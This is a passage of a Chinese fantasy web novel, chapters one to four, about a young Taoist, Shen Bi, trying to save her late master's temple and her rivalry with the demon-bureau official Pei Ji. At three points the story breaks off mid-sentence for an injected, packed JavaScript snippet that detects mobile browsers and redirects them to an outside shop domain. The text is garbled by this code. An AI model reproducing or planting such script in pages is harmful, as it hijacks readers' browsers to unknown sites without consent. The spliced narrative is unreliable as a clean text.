《装捉妖新手被老婆发现后》 1. 第1章 苍梧道长羽化登真那日,上清观无数弟子哭得涕泗交颐。 上清观是苍梧道长一手所建,仰赖她的名声而存,如今她毫无征兆地在睡梦中去世,虽是所有道长所求的最好归宿,但也意味着上清观骤然没了支撑。 丧事办得极其隆重,前来凭吊的人却极少。除去苍梧道长从前的几位至交,其余往日交好的道观别说来凭吊,便是连一名弟子都不愿派来问候。 盛遗体的坐缸在道院内摆了整整一月,期间法事不断,香火烧出的浓雾遮天蔽日,几乎叫人睁不开眼。 三清坛下,沈璧跪在师兄身后,费力睁开因连日守灵而布满血丝的双眼。瞧着前方双肩颤抖的背影,她放弃了劝说的话,悄悄离开了自己的位置。 上清观被愁云笼罩了太久,她早已哭不出来,只在脑中反复想着师父离世前的每一件事。 若要说有什么征兆,恐怕只有那一日了。 那是师父去世前一月的某日。 彼时师父终从长久的修炼中出关,她也跟着收敛许多,不敢如从前一般肆意溜出观去,每日只老实在师父面前静坐练功。 那日大雨倾盆,雨点敲击窗棱的噼啪声,像极了煎?在油铛中起伏时的爆响。她正神游至长安西市那家煎?摊,忽听师父语带玄意地开了口。 “小满,你瞧这雨,想起了什么?” 沈璧悚然一惊,几乎以为师父练就了读心术。 绞尽脑汁想了很久,那些丹诗玄言还是如流水一般光滑地冲过了她的大脑,不留一丝痕迹。 于是她老实答:“煎?摊。” “……” 她记得师父沉默了一会儿,而后才叹道:“有道说,溪雨洗客尘,却难洗客心。行于世间,往往是尘垢易除,心垢难除。” 沈璧绕到缸后坐下,想起那时师父黯淡的双眼,似乎有些明白,又不太明白。 她以颊贴着缸壁,蜷缩起身子,试图像从前那样紧挨着师父。 没坐多久,耳边忽地有人唤她。 “沈师兄,沈师兄【1】!” 沈璧猛地睁开眼,顺着声音的来源看去,原来是观里管钱的库头正愁眉苦脸地站在院角,朝她招手。 看他面色焦急,沈璧虽不明所以,但还是跟着到了角落。 许是太久未进水米,声音嘶哑得不成样子,沈璧刚一开口,差点把自己吓着。 她清清嗓子,这才问:“什么事?” 库头叹气一声:“我只怕此时说这事冒犯师父,又显得我不够诚心,但也实在是没了办法。思来想去,同林师兄说只怕更不合适,因此只能找师兄你说,师兄听完千万莫怪。” 沈璧示意他等自己一下,偷偷溜回主院猛灌了一大壶水才又跑回来,深吸一口气道:“好了,现在可以接着说了。” 库头将账本递上,边翻边跟沈璧解释:“沈师兄请瞧,咱们上清观不同于东明观那等官观,每日里只能靠着香火和布施挣些钱,从前师父还在时,她名下的功德田还能带来一大笔进项,可我近日翻找观中地契,这才发现师父临去之前,竟将功德田全数卖了,钱也不知去了哪里,这下观里的进项一下就砍了大半——” 他又翻几页,苦着脸道:“观内师兄弟们的衣食住行要钱,师父的身后事摆了一月,满院的香烛纸帛也要钱,再加上师父这一去,观中香火也跟着大不如前。前头几天还有各处祭礼撑着花销,眼下祭礼也用了干净,眼下实在是处处要钱,处处拿不出钱啊。” 沈璧听得心下一沉,这样愁云惨淡的时候,这些消息无异于雪上加霜。 师父为何会将田全卖了?钱又去了哪里? 这些事一时半会弄不清楚,沈璧咬牙思量了半晌,忽想起一事,双眼一亮:“师弟莫急,前段时间圣人不是派人来传过消息么,说朝廷新设镇妖司,请师兄去当司禳使。镇妖司明面上隶属太常寺,实则是圣人直接下敕设立,实权皆在司禳使手中,眼下师兄不过是因为守灵耽搁了上任,只要再过些日子,待师兄应了卯,想来一切都迎刃而解了。” 没曾想,此话一出,库头的脸色非但没有好转,反而更加愁苦了起来:“沈师兄,快别提司禳使那事了。” “为何?”沈璧不明所以。 库头摆摆手,指了指天:“圣人原就是瞧着师父的面才给了师兄这份差事,如今师父已去,这事哪里还轮得到我们师兄,司禳使这美差,早已落到了别人头上。” 沈璧听得心间火烧火燎,连珠炮般发问:“怎么能这样?不是说好了是让师兄去当么?那现下是让谁去当了?” “改成了素问道长的弟子,英国公独子裴霁。那位自小便离了京,跟着素问道长云游捉妖,二十年来回京的次数屈指可数,英国公想将儿子留在身边,自然要用这现成的机会,”库头叹息一声,“论能力,他是素问道长的嫡传弟子,论身份,这位还是圣人的外甥,选了他,各观都是心服口服,长安那边也是皆大欢喜,哪还会有人管我们的死活。” 裴霁,好一个裴霁。 沈璧听得牙根发痒,怒声道:“你怎的帮着外人说话!” 库头举手告饶:“沈师兄,眼下还是先想办法吧。再没有进项,别说明日了,就是应付今日晚饭都困难。” 沈璧瞧了眼跪了满地的师弟,暗暗算了下吃食所需的铜钱,两眼顿时一黑。 尤其看到那几个特别能吃的,两眼更是一黑。 原以为是为了表示尊重,这月餐食才如此清淡,除了粥还是粥,不曾想很快竟连粥都要吃不起了。 她有气无力道:“没办法了,把法事停了,叫师兄来一起商量吧。想来师父她在天之灵也会体谅。” 要她写一万贯的冥币倒是可以,但要她变出真的钱,那多少有点为难了,饭都吃不上的时候,自然是顾不得不合时宜了。 “好嘞。”库头干脆利落地应了声,动作利落地开始扯撤布置。 没多久,上清观所有弟子便齐聚一堂。 大家一听说晚饭都没得吃了,一个嚎得比一个悲惨,听着比师父羽化那日还要真挚三分。 沈璧瞧着主座上的师兄,一月过去,他原就清瘦的脸更是没了一丝肉,如今听着满厅的哀嚎,如被抽干了最后的精气神,面色苍白,似乎只剩一具躯壳留在原地。 “大家都先停一停。”林景和的声音虽小,却分外有穿透力,“先听我说。” 晚饭都没得吃了,谁还听他说啊? 于是没人听他说,大家自顾自接着哭。 林景和无奈叹气一声,索性不再开口,只自怀中取出一样亮闪闪的物事。 前头跪着的几个人最先看到,一眼也不错地盯着他的动作,很快,所有人都跟着抬起头来,目不转睛地盯着林景和将那物事珍重地放在桌上。 居然是一铤金子。 这一下效果显著,大家立时都不哭了,全都眼巴巴地盯着金子。 沈璧给他递了碗水,忍不住问:“师兄,莫非是有达官贵人求来了上清观?” “不错,”林景和咽下几口水,恢复了些精神,“从前师父与户部尚书交好,尚书也极信任师父,眼下尚书家中遇到了难以解决的大事,便求来了上清观。” “那我去。”沈璧想都没想就揽了下来,“师兄你要主持观内大小事,此事就放心交给我吧。” 林景和没有立即点头,反从怀中又拿出一铤金子,看得沈璧瞪大了眼。 都还没把事办成,只是定金居然都有这么多? 沈璧立刻警惕地看向林景和:“师兄,这做的是正经事吗?” 林景和呵呵一笑:“小满,看你想到哪里去了,不正经的事哪里轮得到我们。” 沈璧心道那也是。 “前面那铤是尚书给的,这一铤是东明观的观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她内心正天人交战,忽听林景和咳了两声,屏退了众人。 当着沈璧的面,林景和又自怀中拿出一块金黄色物什放在桌上。 居然还有? 沈璧大张着嘴,定睛一看,那是一块硕大的金圆盘。 紧接着,又是第二块,第三块。 沈璧惊得下巴都要掉地上。 早知东明观有钱,没想到居然这么有钱! 这还说什么?带,必须得带! 林景和笑容苦涩:“这些,都是东明观送来的。” 看他笑得惨淡,沈璧看见金子的兴奋也淡了下去。 她明白师兄心中所想—— 东明观随手一掷便是黄金万两,师父潜心修炼了一辈子,上清观却仍只薄有微名。 说是修道最重要,可人活在世间就是要操心穿衣吃饭,这几铤沉甸甸的金子压下来,很难还有人能做到脊背挺直吧。 她都惋惜,更何况师兄。他是师父的儿子,在这个当口,自然更加耿耿于怀。 沈璧安慰他:“师兄,你放心,纵你不做那劳什子司禳使,我们也一定能重振上清观!不就是带个人么,我带!我就不信我还教不了他了!” “小满,我就知道你的心和我是一样的。”林景和激动地起了身,几步走到沈璧跟前,“我绝不能让上清观就此没落,只要能重振上清观,我愿意做任何事。” “从前师父太过深藏不露,明明道法高深,却因常年闭门而鲜为外界所知,既知症结所在,我们便不能让此事重蹈覆辙,眼下,便是和东明观交好的机会。” “虽说是机会,可我也知道,最难做的是你。” “所以这些——” 林景和说着,边将桌上的金子尽数推向沈璧:“师兄认为都应当给你。” 沈璧听得泪眼汪汪,她擦擦眼角,只拿了一块金饼,便将剩下的都推了回去。 “此去长安,这一块金饼便够了。师兄,我一定会为上清观带来好消息。” 她紧握住手中的金饼,心道,师父于她有养育大恩,她无论如何也不能看着上清观走到绝境。 此去长安,她定要抓住机会,无论要付出多少,她都会让上清观沈璧之名响彻长安。 2. 第2章 申时方尽,天空便已成了诡异的黑色,乌云将燕一峰峰顶笼得密不透风,不留一丝缝隙。 “轰隆”一声,闪电划破黑沉天际,一瞬间,山头下的茂密树林被照得恍如白昼。一道秀丽的青色身影如鹤般快速掠过了冷杉枝头,转瞬又消失在了青枝绿叶之间,不见踪影。 又一道闪电划过,林间忽地响起了土块翻飞的“簌簌”闷声。 起初,冷杉枝头只是轻轻颤着,闷声渐响,到后面,周围几排的树木竟都跟着振动起来,如水波一般次第抬高又落下,仿佛有什么东西正在底下飞速穿行,朝着方才那道青色身影追去。 听着耳畔“簌簌”声响越来越近,沈璧知道,这些藤精就要追上自己了。 她一步也不敢停,只用余光看了眼身后情况——由远及近,竟足足蜿蜒出数十条这样的踪迹。 一路上,无论她如何改换方向,这些东西都始终死死咬在她身后。如今动静越发震天,似乎下一刻,藏于地底的东西就要破土而出。 倒霉啊。 沈璧心中哀叹一声,抬头瞥了眼越来越暗的天色,再不敢犹豫,肉痛地自怀中取出所剩无几的符纸,咬破手指后以鲜血快速画起了符。 “听吾令行,去!”待符画毕,少女轻喝一声,将手中符纸快速朝后掷去。 符纸脱手的瞬间,沈璧身后的土块也炸了开来,数十根藤蔓齐齐破土而出。一声似人非人的嘶鸣后,藤蔓在空中化作通体碧绿的人形,面孔狰狞地朝着沈璧扑去。 天色越发阴沉,为首的藤精只顾死追沈璧的背影,完全没注意到朝自己飞来的符纸。 符纸上的血迹闪着奇异红光,不过眨眼,原本皱巴软趴的符纸便精神奕奕地舒展开来,化作一个个张牙舞爪的小人,龇牙咧嘴地朝藤精的脸抓去。 这纸人力大无穷,以短手死死按住了藤精眼旁的死穴。虽不致命,却也叫它再动弹不得。 “无耻,无耻!”藤精一边哀嚎,一边咒骂着沈璧。 沈璧逃得气喘吁吁,却也没忘回身瞧瞧情况,看着藤精那张原就青绿的面庞被气得更绿,差点没忍住笑出声来。 人身都还没修全就想抓她,没门! 只是,话虽如此,她心底仍不敢放松警惕。植物性灵多数聪颖,所化精怪也有几分智慧,最前面的几只不过是他们拿来开路的小喽啰。真正难缠的头头还在后面。 果然,不过一瞬,身后便传来如利箭穿云般的破空之响,余光看去,一根粗壮无比的藤条正以惊人的速度朝自己“嗖嗖”飞来,显然正是这些藤精的首领了。 纸人对付小喽啰绰绰有余,对付头头却是远远不够。偏偏眼下她六脉短暂被封,诀都捏不出,这下难办了。 沈璧大脑飞速转着,忽地双眼一亮,猛地停下,转身朝追兵大喊:“停,停!” 最粗的那根藤先是在半空中一静,又是一抖,立即便是一道绿雾闪过。绿雾消散时,原先藤条所在之处竟出现了一位颇为俊俏的绿衣公子。 他面庞白皙,与周遭面孔青绿的藤精们形成了鲜明对比,想来是其中修为最高的了。 众藤精跟着它刹住步伐,只见方才还百般诡计的少女如今脸上满是真诚明媚的笑容,一时都有些惊疑不定,生怕她又耍什么小把戏,并不敢轻举妄动。 “你说停就停?”绿衣公子盯着沈璧冷冷开口,眼中满是怒火,“杀了佘墨,我要你偿命!” 沈璧不动声色往身后看了眼,笑道:“别急嘛,这蛇妖是我杀的不假,但我听说有种方法可以复活死去的妖——只要你们这些忠诚的属下一人摘一片叶子,混在一起捣一捣,捏出它的肉身,复活便指日可待了。” 绿衣公子将信将疑,眼带谨慎地盯着沈璧:“你可不要骗人,我怎么从未听过这种方法。” 沈璧哦了声,沉思一番后道:“没听过也正常。” 众藤精一头雾水地看着她,还没反应过来,便听见少女嘻嘻一笑—— “毕竟这是我瞎编的。” 空气有一瞬的安静,下一刻,所有藤精的面容都扭曲了起来,怒吼着朝沈璧扑去。 沈璧一动不动,单等着藤精的绿手近在眼前,这才猛地后退两步,以腕上如意珠接触身后捕妖网,另一手食指中指并拢,疾声开始念起收网咒。 “祖师有命,速捉祸殃——”【1】 发动捕妖网原不需要这么大声地念咒,只需在心中默念,奈何施法为表,内炼为本,她现下六脉尽封,便是依靠法器都念得勉强,更需要大声送气,才可发挥效用。 沈璧吞下喉头咸腥,正要念出后半句,忽觉自己站立的树枝一轻。 有什么人自她站的这棵树上跃了下来。 这人不知何时便藏身于此,此时突然出现,跃下时还故意将树枝狠狠往下压了一压。 树枝反弹太过猛烈,让她一下失去平衡,直直往下坠去。 沈璧毫无防备,尖叫着落了地,还没来得及回头看看这人是谁,他倒先开了口: “咒都念不全就敢占我的捕妖网,你也配?” 这声音年轻至极,听着与她一般大,语气却极尽嘲讽。 沈璧僵在原地,心道自己未免太过走运,偷用别人东西竟被正主撞个正着。 她轻咳两声,刚想解释一番,年轻男子已经嗤笑一声,踏着乌皮短靴,不紧不慢几步越过她,念出了后半句收网咒:“遍通九地,杀妖擒伤。” 悠扬悦耳的男声方落,捕妖网立时穿花破叶,泛着金光朝绿衣公子扑去。 绿衣公子脸色一变,收了藤条便要跑,捕妖网却如同长了眼睛,死死咬在他的身后。周遭不少忠心的藤精扑上去想挡,却都在碰到金光的一瞬不约而同地惨叫起来。 如被烈火灼烧,触碰到金光的绿蔓迅速发黑,不少修为低的藤精甚至无法维持人形,纷纷被打回藤蔓原形。 藤蔓缠回树干,立刻便消失在燕一峰的郁郁葱绿之中。 看着藤精已不成气候,沈璧刚松下一口气,腰间小壶天就异样地振动起来。 糟了!在燕一峰耽误太久,里头方取的蛇妖妖丹就要自焚了! 沈璧握住似在被火灼烧的小玉壶,掉头就跑。横竖这林子里除了他们俩没有第三人,出去后只要她打死不认,他又有什么证据自己用过他的捕妖网? 再说了,不就是个捕妖网,大不了赔他十个,那么小气做什么。这人方才定是一直在树上躲着,看到了她被追得四处逃窜的样子。 见死不救,又能是什么好人? 沈璧边骂边跑,眼看再跑几步就要出了林子,她心中突然涌出几分好奇,想看看这狂得没边的少年到底生的什么模样。 此人足足高了自己一个头,方才错愕相遇,也只瞥到他高高抬起的下颌,并未瞧见全貌。 此时少年负手而立,一张脸掩在枝叶之后,似乎听见了她骂人的话,身姿微动,就要转过身来。 沈璧生怕被他记住样子,急忙心虚地转回头去,自然也不觉他落在自己身上的探究目光。 瞧着青衣少女毫无章法地狂奔逃走,裴霁轻嗤一声,收回眼神,看向地上被捕妖网困住的藤精首领。 —— 沈璧一路飞跑着回了古槐村,在一户低矮的茅草房前停下确认片刻,这才风一般破门而入,卷进了屋内。 她心急如焚地奔向床边,望向破旧褥子上躺着的女孩。女孩满面黑气,骨瘦如柴,气息奄奄,正呆滞地盯着帐子顶,对周遭毫无反应,显然乃三魂丢了一魂之症。 守在女孩身旁的妇人见沈璧进来,顾不得再垂泪,立时让开身位,好让沈璧上前。 沈璧急切捉向少女手腕,切脉片刻,又扒大少女双眼,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈璧吓了一跳,从地上弹了起来:“你们这是做什么,快快起来!” 妇人执意不肯起身,只紧紧抓住沈璧的手,哽咽道:“静儿能碰上道长,当真是修了几世的福德。真不知该怎么感谢道长了。” 沈璧正等着这句,忙道:“感谢也简单,我是苍梧道长的嫡传弟子。” 妇人一怔,显然并未听过这个名号。 “我是距这里不远的上清观的道长,家师是苍梧道长,”沈璧耐心解释道,“夫人若能带李娘子去上清观上几炷香,我师父在天之灵定会保佑你们福禄绵长,平安顺遂。” 说到这里,她又嘿嘿一笑:“当然了,要是能说服这的村民都去上上香,那便更好了。” 听这道长竟不要任何钱,只要她们去上香,妇人立刻喜不自胜地答应:“道长如此本领,想来您的师父一定也是得道高人,往后我定多多称颂上清观美名,带静儿一日三回去上清观为您祈福,祈求苍梧道长在天庇佑。” 沈璧听得心内欢喜,心道照这样的势头,在长安重振上清观之名也不是难事嘛。 她和妇人又客气几番,这才出了门,匆匆在路边买了硫磺,准备回燕一峰破了那漫天的蛇妖怨气。 岂料,回到燕一峰时,哪里还有方才漫天黑气的情形。夕阳正好,杉影横斜,分明是再美不过的山林晚景。 除去方才林间那个少年,沈璧一时想不到第二个会做此事的人。 她叉腰站在原地,越发好奇起这人的身份。 林间相遇时,他一身紫罗袍利落合身,腰系躞蹀金带,身侧还别了把亮闪闪的佩剑,无论怎么看都不像是道士的打扮,反像—— 从前在长安见过的贵公子。 不过可惜了。 纵是贵公子,也是个欠得没边了的贵公子。 3. 第3章 长安,英国公府。 裴霁赶在天黑前入了京,刚回院子换了身干净衣袍,便听见管事的脚步声在房外响起。 吴管事的声音一如既往的稳重:“公子,靖王殿下来了,正在书房等着。” 这么快? 裴霁挑挑眉,道了句就来,飞快用水净了手面,又将剑在身侧配好,这才大踏步走出来,朝着书房一路疾行。 吴启全跟在他身后,又禀道:“国公爷派人传了信,说今日圣人设曲水流觞宴,要晚些回来,叫您不要等他。” 裴霁笑道:“又是这种吃不饱的宴,父亲也是受苦。让厨房温上虾炙和羔羊肉,我等父亲回来一道吃。” 吴启全应声退下,裴霁又走几步,便瞧见了书房外一列排开的一群年轻道士,高矮胖瘦不一,竟都拿着各式法器,一副严阵以待的模样。 见他来,道士们立刻面容严肃地齐声喊道:“裴司禳使。” 裴霁愣了一瞬才反应过来,挑眉问:“是靖王让你们来的?” 为首的道士穿着一身仙鹤法衣,抢先答道:“正是,在下清溪道长弟子尹真,听闻朝廷新立镇妖司,在下也想尽一分绵薄之力。家师与素问道长曾一同除祟驱邪,望裴司禳使念此缘分,能给在下一个历练的机会。” 此话一出,除去少数几个道士,几乎所有人都开始扯起自家师父师兄与素问道长的关系,即便是八杆子都打不着的旁宗,也说与素问道长有过一面之缘。 裴霁听罢,坏笑一声:“这么巧啊,都与我师父有缘?” 他招来一旁静立的小厮,附耳叮嘱了几句。没过多久,园中依次进入十数名小厮,各个手中都捧着一个海碗,恭敬停在每个道士身前。 “既诸位与我师父有缘,想必一定知道他老人家研制的玄水玉液了,”裴霁勾唇一笑,“你们谁能辨出真的玄水玉液并喝下,即刻便可进镇妖司。” 众道士立刻望向那十数只海碗,只见里面都盛满朱红液体,正咕嘟咕嘟冒着泡,皆是刚出鼎的丹液,只有颜色深浅不同。 那尹真率先选了一碗,其余道士见状,也跟着纷纷想指那碗,裴霁见状,眼中笑意加深,悠悠提醒:“要喝下,喝下才作数。这样强血补精的药液,就当是我给各位的见面礼了。” 真正的玉液才一碗,如何人人都能喝下?这分明是让他们彼此竞争了。 道士们还在面面相觑,尹真眼中已厉色一闪,抄起手中法器便朝离玉液最近的道士打去。 这一开头,场上立刻陷入混战。裴霁瞧着一时半会打不完,不紧不慢布了个默音阵隔住噪音,这才负手朝书房走去。 方踏入书房,一名身着石青绫袍的年轻男子便迎了上来,他身形清瘦,眼窝微陷,唇色极淡,笑得却让人如沐春风。裴霁停在门口,看着赵靖要来扒他肩膀,轻轻一闪身便避了开来,冷哼一声道: “表兄给人找麻烦的本事还真是一如既往。” 赵靖被顶了一句,却一点也不恼,只收回手,不紧不慢一笑:“各派各宗的道长都想将年轻的子弟送来历练,这哪里是朝廷能拒绝得了的?也只有你才能出这个面。说到底,百姓遇邪都习惯求助邻近道观,镇妖司要插进来,本就是抢了各道观的活,朝廷不能不给这个面子。” 裴霁望望外面还在争抢的道士,又想起燕一峰一事,不由轻嗤一声:“的确是招摇撞骗的多,会干实事的少。” 赵靖笑道:“若非如此,阿爷也不会想统立镇妖司。我这么急给你传信让你回京,也是长安出了大案。” “有何异闻?”裴霁撩袍坐下,凝眉听了起来。 “一月前,何尚书家中小妾流产,自那之后,尚书府每至夜晚便会“闹鬼”,邻近府邸皆能听见婴儿的凄厉哭声。何尚书家的大公子也在此时病倒在床,延医问药都无用,几成废人。何尚书不堪其扰,以为有人恶意装神弄鬼,报了京兆府。京兆府分派了二十名不良人至尚书府,蹲守了足足十日,二十人竟都说清楚听见了婴儿啼哭,但夜夜蹲守,却无一人瞧见婴儿。” 裴霁挑眉:“若不是人为,那便是婴灵作祟了,寻常婴灵因留恋母亲,游荡一段时日不肯归去也是有的,何尚书没请道士来做法超度么?” “怎么没有,”赵靖苦笑一声,“何尚书遍请了京城周围所有的道观道士,法事做了不知几场,可都没有作用。” 好厉害的婴灵。 若是这样都不肯离去,定是已成了怨灵,不达目的不肯罢休了。 裴霁指尖轻点桌面,刚要开口,便听赵靖接着道:“眼下,何尚书新请了上清观苍梧道长那位关门弟子来查办此事,不知你听过她的名字没有?” “关门弟子?”裴霁轻皱起眉,“我只知苍梧前辈有一子,名为林景和,不知苍梧道长何时还收过弟子?” 赵靖呵呵一笑:“你回京的次数屈指可数,一些消息自是不太灵通。此人名唤沈璧,据说是自幼被苍梧道长带回上清观的孤女,年纪轻轻便捉妖本领了得。不过因苍梧道长逝世,她在长安也很久没有露面了。何尚书邀请在先,苍梧道长又与何尚书有旧,此事镇妖司实在不好再插手。” 裴霁扯起唇角:“究竟是不是本领了得,到时一看便知。寻常婴灵倒也罢了,但这婴灵极可能已成了怨灵,镇妖司再如何不好插手,这事我也管定了。” “就知道你会这么说,”赵靖了然一笑,“镇妖司不好行事,却不代表你插手不得,你甚少在京中露面,我已替你寻好了身份,你只管放手去做,想来不会有什么差错。” 就在此时,书房门被“咚咚”敲响,吴管事的声音自门外传来:“禀殿下,禀公子,来客们已决出了胜负。” 听到这话,裴霁促狭一笑,几乎是立即起身向外走去。 赵靖瞧他一副捉弄人的模样,好奇跟上,行至一半便被眼前情景震住。 宽敞院子中,横七竖八地躺满了鬼哭狼嚎的道士,各个身上都挂了彩,原先在仆从手中的十数个海碗也不知怎的打翻在了地上,朱红药液流淌一地。 一众躺倒的道士中,唯有一双单薄身影仍好端端站在中央,一人手捧一个海碗,朝着裴霁和赵靖躬身行礼。 裴霁对满地的嚎叫视而不见,径直走向这两名少年。两人竟生得一模一样,面孔瘦削白皙,看起来不过十三四岁,唯一区别只在于,左边那位额间有一颗痣,右边的没有。 吴管事上前几步,低声在裴霁耳边禀报:“这两人一直没加入战局,单等着尹真将其他人打趴下后才一起上前制服了尹真,只用了三招。” 裴霁饶有兴趣地看向这二人,问:“你们一人捧着一碗,那究竟哪碗才是玄水玉液呢?” 左边的少年张嘴欲言,但瞧着裴霁赵靖都在盯着自己,脸便瞬间从耳朵红到了脖子根,半天没支吾出来。 右边少年见状上前,不动声色地挡住了弟弟,沉声道:“禀殿下,禀司禳使,这两碗都不是玄水玉液,地上的也不是。” 裴霁双手抱胸靠向树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486160|202022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干,笑得越发灿烂:“那你说是什么?” 少年抿抿唇,深吸一口气才道:“猪血。” 此话一出,赵靖立时后退两步,拉开自己与院子的距离。地上半死不活的各道士如遭雷击,纷纷开开始抠喉催吐。 终于到了最精彩的一环,裴霁再也忍不住坏笑,环视一圈威胁道:“学艺不精就敢挂着名头出来招摇撞骗,再让我逮到,可就不是喝猪血那么简单了。” 他扬手示意仆从将这些人清出院子,待院子完全清净下来,这才转身对着这对兄弟开始吩咐:“回去和你们师父道个别,明日辰时来镇妖司报到,迟一息都不用来了——还有,你们分别叫什么名字?” 两少年几乎有些不敢置信,互相对视一眼,这才满脸欢喜地跪下道: “我是一停。” “我是一行。” —— 送走赵靖,趁父亲还未回来,裴霁想起挂在心头的一件事,绕过书房,直奔府中藏书阁而去。 阁间充斥着干燥的陈纸味,裴霁寻到师父留下的书箱,开始找起答案。 蛇妖…… 裴霁默念着,将一本《万妖大典》翻到了最后,终于发现了一段记载。 “蛇妖,黄首青身,百年以上可修人形,化妖丹……此妖擅毒,乃冶鸟天敌,性恶,常吸食人魂,存于妖丹,以强自身妖力……擅遁,结坛布阵不可有一丝差错,若要取其妖丹,或以真气护体,或携硫磺破怨。” 燕一峰时,不管怎么问,那藤精都说亲眼见到其主人死于少女之手,还被她强行取了妖丹,因此才会有燕一峰漫天怨气。 若真是这样,这少女的道行一定绝非常人,可她狼狈的模样也是他亲眼所见,无论如何都做不得假。 裴霁眼神停在冶鸟二字之上,停顿片刻,又将《万妖大典》翻了个遍,却怎么都找不到关于此妖的记载。 他不肯死心,越发好奇,又在书箱里翻了会儿,直到眼神聚焦困难,纸面上的字都开始跳了起来,这才迫不得已将书丢开。 连夜赶路回京,已经几日没有合眼了。 裴霁按按发紧的太阳穴,双手枕在脑后,躺倒在藏书阁的地上,刚欲闭眼小憩一会,脑中又想起赵靖的殷殷嘱咐: “此事闹得坊间人心惶惶,阿爷虽在病中,却也十分挂心,镇妖司若能办好这桩案子,也算是开了个好头。” 办好案子不难,难的是演好赵靖给他寻的身份—— 东明观的年轻弟子裴七。 此观观主背离祖师爷教诲,靠着官观的名头坐吃山空,既不精符箓,也不通丹鼎,只一心练武,渐渐的看家本领都忘了个干净,别说解决尚书府的事了,就是为人超度祈福都费劲。到裴七这一代,观中一些道人才终于坐不住,打点了林景和,将裴七塞进了此次尚书一案中,跟着沈璧学习。 裴霁每想起一句关于这个裴七的描述,太阳穴便要跳一下,无他,此人实在是太过无能,叫他演这样的人,还要“和人学习”,实在是天大的笑话。 装成这样的废物,万一那沈璧也是个弄虚作假的草包,他岂不是要被白白拖累? 另一头,沈璧接到林景和的飞鸽传书,看着满页纸的叮嘱,也是一个头两个大。 带上这样一个金贵废物当拖油瓶,万一磕着碰着了,师兄和上清观岂不是要被白白怪罪? 真是麻烦。 真是麻烦。 两人心底同时浮现这个念头,彼此都有了计算。 4. 第4章 晨鼓声自承天门悠扬响起,沈璧面前的明德门终于缓缓打开。 数月未至,长安仍是一眼望不尽的繁华。 夏木阴阴,槐柳满城,四月的清晨凉爽而干燥。沈璧活动了下等得僵硬的身体,一边躲着人流的推搡,一边掩鼻避开胡商那些臭气熏天的骆驼,艰难地朝长安城里挤。 纵已非常小心,她还是被一个匆匆赶路的胡商给撞了一下。 那人背着个巨大的方形行囊,里面不知装了些什么,边角尖利,不小心戳到她的手臂时,沈璧差点没痛得叫出声来。 她面带愠色,刚要抬头理论一番,那胡商已一迭声地朝她道歉,没等她反应,便又面带焦色地朝前赶路去了。 沈璧腰间的小壶天生气地晃了晃,随即立起,以壶底怼怼她的腰间,似在表示不满。 “不许给我闹!” 沈璧警告地捏捏小壶天,瞅准一条人少的巷子拐了进去,这才拧开壶口,将里面的东西放出来。 一缕粉白相间的烟雾从壶口缓缓飘出,带出一股蜂蜜的甜香。细烟飘散半晌,竟最终凝成一个人形,被太阳一照,原先的人形又有了四肢五官,缓缓幻化出一名少女。 那少女看着比沈璧年纪小许多,面庞圆润可爱。她似乎很喜欢阳光,叉着腰仰面照了半天,这才转身看向沈璧,夸张地捂起鼻子道:“满满,那胡商身上也太臭了,真是比蛇妖妖丹还臭。哦对了,说到妖丹,你居然把它和我放在一块,是要毒死我不成?” 沈璧才不饶她,捏住她半只耳尖:“怎么跟主人说话的。” “哎哟哎哟,”那少女吃痛叫了两声,身体抖了抖,竟落下几片素白花瓣,“错了错了满满,我饿了,快带我去吃好吃的吧。” 沈璧带着她走出巷子,笑道:“哪个花妖像你这样,有太阳有水还不够,天天想着吃。” “不过嘛,今天有大事要办,”想到这里,沈璧贼笑一声,“需要你出力的大事,所以你想吃什么都行。” 听到大事,白雪立即兴奋起来:“你想到将那裴七赶走的法子了?” 小壶天是沈璧的贴身法宝,白雪虽在壶中,但也能体会到沈璧的所思所想。 沈璧眼中闪着狡黠的光:“东明观只说要我带着裴七学习,但若那裴七自己主动说不学了呢?这可怪不了我吧。” “瞧着吧。此法只要做好,既不伤两观和气,也不需要还金子,我便能轻松摆脱这拖油瓶。” —— 一行和一停准点到了镇妖司前,却并未发现裴霁的踪影,不单如此,整座镇妖司前都空荡冷清,似乎只有他们两人。 一行放下手中包袱,正犹疑着要不要上前敲门,突然听到屋檐上传来轻微的动静,似乎有人正在上面行走。 他拉着弟弟警惕地后退两步,自己走下台阶抬头望去。 一名少年白衣素袍,正俯身在屋檐上敲敲打打。日光正好,照得少年一张脸清新俊逸。他正专心做着手中之事,脸上殊无笑意,便显得眉目凌厉了些,但不可否认,眼前之人,正是昨晚见过的那位捉弄了所有道士的裴霁裴公子。 昨晚的裴霁一身绯袍,笑得张扬又欠揍,今日的他却穿得像个再普通不过的道士,让人一时不敢相认。 裴霁正忙着在每块砖下埋符纸,见他们终于注意到自己,随手扔了两把铲子下去:“还挺准时的,上来帮忙吧。” 一停听到动静跑出来,急忙接住铲子,和哥哥彼此对视一眼,心中都有些不可思议。 早听师父说过,现任英国公乃开国元勋英国贞武公嫡孙,官至中书令,还娶了当今圣上的亲妹妹,论身份,裴霁是当之无愧的天之骄子,怎么一大早竟然亲自来镇宅,一个帮手都没有。 裴霁贴完这块,起身拍拍手上的灰,瞧着这兄弟二人,有些好笑:“怎么,嫌我这镇妖司庙小啊?” 